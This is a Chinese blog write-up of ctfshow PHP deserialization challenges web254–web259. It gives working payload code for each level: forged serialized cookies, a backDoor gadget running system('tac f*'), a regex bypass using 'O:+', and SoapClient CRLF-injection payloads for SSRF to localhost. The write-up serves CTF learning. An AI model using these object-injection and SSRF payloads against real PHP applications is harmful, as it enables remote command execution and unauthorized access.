ctfshow web入门 php反序列化 web254--web259

发布于:2024-05-08 ⋅ 阅读:(24) ⋅ 点赞:(0)

web 254

只要传入的值与其类中的值相等即为true就有flag
username=xxxxxx&password=xxxxxx

web255

序列化和反序列化就像是把物品放进盒子和从盒子里取出物品的过程一样,只是在计算机编程中,我们是针对数据进行的操作。
这一题就是要把cookie进行序列化然后相等即可(还是看代码吧我有点没讲明白)
我们的目标是构造一个序列化后 ctfShowUser 对象的字符串,并将 isVip 属性设置为 true,然后将该字符串放入 $_COOKIE[‘user’] 中,以触发反序列化操作。

<?php
 
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx'; 
    public $isVip=true;
}
echo urlencode(serialize(new ctfShowUser()));
GET :
username=xxxxxx&password=xxxxxx
cookie:
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web256

这一题代码基本一致,就是多了一个username和password不相等,
我好像懂序列化了,就是相当于加密不让别人看到,我天我就是天才,然后满足题目条件即可获得flag

<?php 
class ctfShowUser{
        public $username='xxxxxx';
        public $password='baozongwi';
        public $isVip=true;
}
echo urlencode(serialize(new ctfShowUser()));
GET :
username=xxxxxx&password=baozongwi
cookie:
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A9%3A%22baozongwi%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web 257

这里有两个魔术方法

__construct        创建对象
__destruct          删除对象
<?php 
class ctfShowUser{private $username='xxxxxx';
        private $password='xxxxxx';
        private $isVip=false;
        private $class = 'info';

        public function __construct(){
                $this->class=new backDoor();
        }
}
class backDoor{
        private $code='system("tac f*");';
}
echo urlencode(serialize(new ctfShowUser()));

这里的code可以随便改都可以做出来,isVip为什么写成false是因为直接跳过VIP那里,直接执行__construct
传参方式与之前相同

web258

多了正则我差点看不懂
[oc]:匹配字符 'o''c',这是序列化字符串中对象 (O) 或类 (C) 的类型标识符。
:\d+::匹配一个冒号,接着是一个或多个数字,然后再跟一个冒号,这是序列化字符串中对象或类的长度信息。
/i:表示不区分大小写。

上一题的代码还是可以用的但是我们要用+(%2b)来绕过正则

笑死我了,我整半天'+'结果一直没有flag,原来要先变再序列化,我真是好蠢
<?php 
class ctfShowUser{
        public $username='xxxxxx';
        public $password='xxxxxx';
        public $isVip=false;
        public $class = 'info';

        public function __construct(){
                $this->class=new backDoor();
        }
}
class backDoor{
        public $code='system("tac f*");';
}
$a=serialize(new ctfShowUser());
$a= preg_replace('/O:/', 'O:+', $a);//绕过preg_match
echo urlencode($a);

然后就可以了

web259

php原生类SoapClient

PHP 原生类 SoapClient 是 PHP 提供的用于处理 SOAP(Simple Object Access Protocol)协议的类。SOAP 是一种基于 XML 的通信协议,通常用于在分布式环境中进行 Web 服务之间的通信。SoapClient 类提供了与 SOAP 服务进行交互的功能,可以用来调用远程 SOAP 服务的方法。
题目说vip 可以得到flag
说实话我连ssrf漏洞都不会他喵的给我一个这个题

X-Forwarded-For: 127.0.0.1
访问flag.php然后伪造
但是不成功
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>
<?php
$a = new SoapClient(null,array('user_agent' => "aaa\r\nx-forwarded-for:127.0.0.1,127.0.0.1\r\nContent-type:application/x-www-form-urlencoded\r\nContent-length:13\r\n\r\ntoken=ctfshow",'uri' => 'aaa','location' => 'http://127.0.0.1/flag.php'));
echo urlencode(serialize($a));

这两个都可以,个人觉得上面的更加通俗易懂
接着getvip=xxx就可以了,最后访问/flag.txt应该就能拿到flag了。